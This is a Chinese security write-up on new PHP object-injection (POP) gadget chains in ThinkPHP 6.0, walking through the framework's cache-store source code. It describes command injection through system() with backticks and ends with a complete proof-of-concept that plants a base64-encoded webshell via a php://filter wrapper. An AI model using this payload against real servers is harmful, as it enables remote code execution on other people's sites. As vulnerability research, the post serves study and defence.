本文首发安全客 https://www.anquanke.com/post/id/194036
网上关于thinkphp pop 链的分析大概都是将下面几篇文章自己复现了一遍
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/
https://github.com/Nu1LCTF/n1ctf-2019/tree/master/WEB/sql_manage
https://www.anquanke.com/post/id/187332
https://www.anquanke.com/post/id/187393
下面补充thinkphp 6.0 下面的几条新链
搜索__destruct
在__destruct
中调用了$this->save()
接下来我们去找子类中哪些实现了save
方法
通过find Usages 查看哪些类extends 了AbstractCache
1 2 3 4 5 6
| public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
|
array_flip 是将键值进行翻转
array_intersect_key 计算交集
$this->getForStorage()
可控, 将要cache的内容转化成json
格式
1 2 3 4 5 6
| public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); }
|
$this->store
可控,set可能能触发__call
, 但是如果某个class 本身set 就会做一些危险操作也是利用的,这里我找到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| public function set($name, $value, $expire = null): bool { $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } }
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
if ($result) { clearstatcache(); return true; }
return false; }
|
这里有两种利用方式
- $this->serialize
1 2 3 4 5 6 7 8 9 10
| protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'][0] ?? "\Opis\Closure\serialize";
return $serialize($data); }
|
这里$serizlize
是可控的,$data
会被转换成json,有没有办法利用呢?
答案是有的,利用system
最后相当于执行的是
1
| system('{"1":"`whoami`"}');
|
在shell里面,`的优先级是高于”的,所以会先执行whoami 然后再将执行结果拼接成一个新的命令
- 写文件写个shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function getCacheKey(string $name): string { $name = hash($this->options['hash_type'], $name);
if ($this->options['cache_subdir']) { $name = substr($name, 0, 2) . DIRECTORY_SEPARATOR . substr($name, 2); }
if ($this->options['prefix']) { $name = $this->options['prefix'] . DIRECTORY_SEPARATOR . $name; }
return $this->options['path'] . $name . '.php'; }
|
会根据hash的类型进行hash,然后和path进行拼接,所以文件名的前缀我们是可控的。
$data = $this->serialize($value);
还会再处理一次,可以用一些字符串函数比如serialize, strip_tags 等
但是会发现在写的php前面有个exit();
,可以通过伪协议绕过。
这里面会有几个小坑,第一个要在payload前面填充几个字符,将前面凑成4的倍数,payload编码的base64不要以=结尾,因为后面还有拼接的东西。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php
namespace think\filesystem{ class CacheStore{ protected $store;
protected $key;
protected $expire;
protected $cache;
protected $complete; protected $autosave;
public function __construct($store){ $this->store = $store; $this->autosave = false; $this->key = "haha"; $this->cache = ["ppp"]; $this->complete = "xxxxxPD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/PmYK"; } } }
namespace think\cache\driver{
class File{ protected $writeTimes = 0; protected $options; protected $expire;
public function __construct() { $this->options = [ 'expire' => 2333, 'hash_type' => "md5", 'cache_subdir' => false, 'prefix' => false, 'path' => 'php://filter/convert.base64-decode/resource=/var/www/html/public/tmp/592dc1993715d4b8b3be46b75a8a0860/', 'serialize' => false, 'data_compress' => false, 'serialize' => ['serialize'] ]; } } }
namespace { $store = new think\cache\driver\File(); $cache = new think\filesystem\CacheStore($store); $s = serialize($cache); echo $s; echo base64_encode($s); }
|
system 可以参考上面的自己写一个。